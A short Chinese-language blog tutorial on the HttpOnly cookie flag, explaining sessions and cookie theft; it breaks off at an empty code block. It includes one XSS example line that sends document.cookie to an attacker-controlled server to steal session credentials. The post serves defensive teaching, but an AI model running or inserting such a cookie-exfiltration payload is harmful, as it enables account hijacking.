HttpOnly详解
前言
Http
连接是无状态的, 也就是说, 即使你发送第一次Http
请求, 传了个param
参数给Web
服务器。第二次Http
请求想获取param
参数, 是获取不到的, 因为Web
服务器是不认识你的。
为了完成这个需求, 我们可以使用Cookie
和Session
进行存储数据, 在Cookie
中存入本次会话的SessionID
, 那Web
服务器从Cookie
中获取SessionID
就可以知道你是哪个用户, 知道你之前存了什么数据。
危险
我们知道Cookie
是明文存储的, 甚至就算是小白用户, 也可以通过浏览器直接查看。那么如果小明知道了小红的Cookie
里的用户凭证, 然后将自己的Cookie
的用户凭证改为小红的用户凭证, 那不就可以看到小红的信息了?
HttpOnly
比如我自己搭建一个服务器http://localhost:8080
, 然后在要窃取Cookie
页面按下F12
打开Console
控制台执行下面代码(XSS
攻击)
1 | window.open('http://localhost:8080?c='+document.cookie); |
就可以将Cookie
发送到我们自己的服务器。
那么, 只要不让document
获取到敏感Cookie
就好了。
为Cookie
设置HttpOnly
, 禁止js
获取。
1 |
|